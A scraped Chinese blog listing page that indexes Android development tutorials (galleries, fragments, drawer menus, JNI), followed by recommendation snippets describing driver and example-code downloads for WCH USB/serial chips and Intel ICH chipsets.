2014-12-10 16:51 1573So Easy京东商城 我和17位小伙伴们 ... -
过期Gallery取代方案horizontalscrollView之菜单导航效果
2014-03-23 16:19 2411效果 ------------------------- ... -
过期Gallery取代方案horizontalscrollView之京东效果
2014-03-23 15:57 3877效果 ------------------------- ... -
过期Gallery取代方案horizontalscrollView之幻灯片效果
2014-03-21 17:33 2620效果 ------------------------- ... -
tabhostandbadgeview
2014-03-19 13:45 1027效果 -------------------------- ... -
Android优秀开源项目大全
2014-03-18 15:17 1979以下是开源项目 1、and ... -
Android分页控件xlistview
2014-03-18 14:51 1663strings.xml ----------------- ... -
过期Gallery取代方案horizontalscrollView之普通画廊
2014-03-17 22:48 2440activity_main.xml ---------- ... -
viewpage
2014-03-17 18:08 1052strings.xml ----------------- ... -
FragmentStatePagerAdapter分页
2014-03-17 17:27 800ViewPager ViewPager 如 ... -
FragmentPagerAdapter与FragmentStatePagerAdapter差异
2014-03-17 17:20 1311简介 平常使用的FragmentPagerAdapter和F ... -
抽屉菜单
2014-03-16 12:51 1840strings.xml ----------------- ... -
px和dip以及sp的区别
2014-03-08 17:01 713显示单位px和dip以及sp的区别 dip: devi ... -
fragment生命周期
2014-03-06 16:59 888Fragment必须被写成可重用的模块。因为fragmen ... -
过期API_AlertDialog
2014-03-02 10:07 1147layout----------------------- ... -
Android_Jni 操作指南
2014-01-10 14:45 946Android_Jni 操作指南 NDK(Nati ... -
各种各样圆形进度条
2013-11-11 16:30 560http://www.apkbus.com/android-1 ... -
红杏出墙__实训版
2013-04-20 18:59 1080红杏出墙__实训版 -
google地图demo
2013-04-09 14:25 3201---------------------------- ...
相关推荐
包含CH551,CH552,CH554,CH559等多种开发资料,源代码,下载工具,芯片PDF,二十多个例程,和官方头文件
标题中的"CH455_CH455H驱动代码_ch455_"表明这是一个关于CH455或CH455H芯片的驱动程序开发项目,重点在于如何使用STC15系列单片机来控制这个芯片。描述中提到的"基于STC15单片机进行CH455驱动实现数码管以及按键驱动...
ICH7、ICH8、ICH9和ICH10是Intel在不同时间段推出的一系列南桥芯片,它们在功能和性能上有所提升,以适应不同阶段的计算需求。 **一、ICH7驱动** ICH7是Intel在2006年推出的南桥芯片,主要服务于Core 2 Duo处理器...
标题中的"CH341SER_ANDROID.ZIP_340手机驱动_CH341SER_ANDROID_CH34xUARTDemo_ch34"表明这是一个与CH341系列USB转UART(通用异步收发传输器)驱动相关的压缩包,主要用于Android设备。其中"340手机驱动"指的是该驱动...
CH372DRV.rar 是一个包含了CH372D和CH372DRV相关驱动程序和API的压缩包,主要用于支持基于USB接口芯片CH375的设备在Windows操作系统上的正常运行。CH372和CH375是常见的USB接口控制器,常用于数据传输、读卡器以及...
本篇将详细讲解如何在STM32平台上使用CH376的驱动程序,以及"CH376-V2.0.ZIP_STM32"提供的资源在实际项目中的应用。 首先,CH376的主要功能是帮助STM32实现USB设备的功能,如USB数据传输、USB设备枚举等。它通过...
CH9329是一款常用的USB接口控制器,特别适用于HID(Human Interface Device)类设备的开发。...在实际项目中,开发者应根据具体需求,结合这些资料和工具,进行针对性的学习和实践,以实现高效、可靠的USB HID设备。
标签中的"ch375w"、"ch375wdm.1nf"、"ch375"、"ch375wdm.sys"和"ch375wdm.s"进一步确认了这个压缩包包含CH375的相关驱动程序和源代码。这些标签可以帮助开发者快速识别和搜索相关的资源。 在压缩包内的"CH375WDM...
标题中的"Ch340/ch341驱动"指的是针对Ch340和Ch341芯片的USB转串口驱动程序。Ch340和Ch341是两种常用的USB到UART(通用异步接收发送器)桥接器芯片,它们在电子爱好者和工程师中非常流行,因为它们能将USB接口转换为...
在本文中,我们将详细讨论PCI并口驱动以及与CH350L、CH351L和CH352L相关的知识。 PCI是英特尔公司在1992年推出的一种局部总线标准,它的主要优点在于高速数据传输能力和良好的兼容性。PCI接口支持即插即用(Plug ...
标题中的“CH552模拟CH340_24l01.rar”指的是一个使用CH552微控制器模拟CH340芯片,并结合NRF24L01无线收发器的项目。这个压缩包文件可能包含了相关的设计资料、固件代码以及驱动程序,用于构建一个USB无线串口通信...
- **库文件**:编译后的驱动程序库,可以直接链接到用户的项目中。 - **配置文件**:可能包含用于编译驱动程序的设置,如宏定义、编译选项等。 总之,CH455驱动是连接CH455微控制器与上层软件的桥梁,负责管理按键...
此压缩包"CH438程序.zip"提供的内容显然是关于使用CH438芯片来扩展51单片机的串行接口,以便连接更多的设备或者实现更复杂的通信网络。下面我们将详细探讨CH438芯片、51单片机以及如何通过它们进行串口扩展。 首先...
CH341PAR.rar 文件包含了关于CH341 PAR(并行)USB转接芯片的详细资料,包括说明书和相关的程序。这个芯片是为了解决计算机与并行接口设备之间的通信问题而设计的,比如打印机、扫描仪等。CH341是一款功能强大的通用...
总的来说,CH341A编程器软件V1.4不仅提供了基础的编程功能,还包括了对不同接口的支持,以及转换模块的详细指南,旨在满足用户在各种项目中的需求。无论是对个人爱好者还是专业工程师,这款编程器及其配套软件都是一...
开发者可以通过查看和分析源码学习如何使用CH34x芯片进行UART通信,这对于进行嵌入式开发、物联网应用或者其他需要USB串口通信的项目非常有帮助。源码中可能包括了初始化USB设备、设置波特率、数据位、停止位、校验...
标题中的"CH341SER-Win10.ZIP"是一个针对Windows 10操作系统的压缩文件,包含CH341设备的驱动程序。CH341设备通常是一种USB到串口/并口的转换器,广泛用于各种硬件开发、编程或者数据通信任务。这个驱动程序是为了...
软件工程项目计划是软件开发过程中的重要阶段, 涉及到项目的定义、可行性研究、计划时期、开发时期等方面。本文将对软件工程项目计划中的关键知识点进行详细的阐述。 问题定义 问题定义是软件开发的首要阶段,...
CH565W&CH569W 评估板说明书 本文档是关于 CH565W 和 CH569W 评估板的说明书,旨在帮助用户快速了解和使用 CH565W 和 CH569W 芯片。下面是本文档的知识点总结: 1. 评估板硬件结构:CH565W 和 CH569W 评估板的硬件...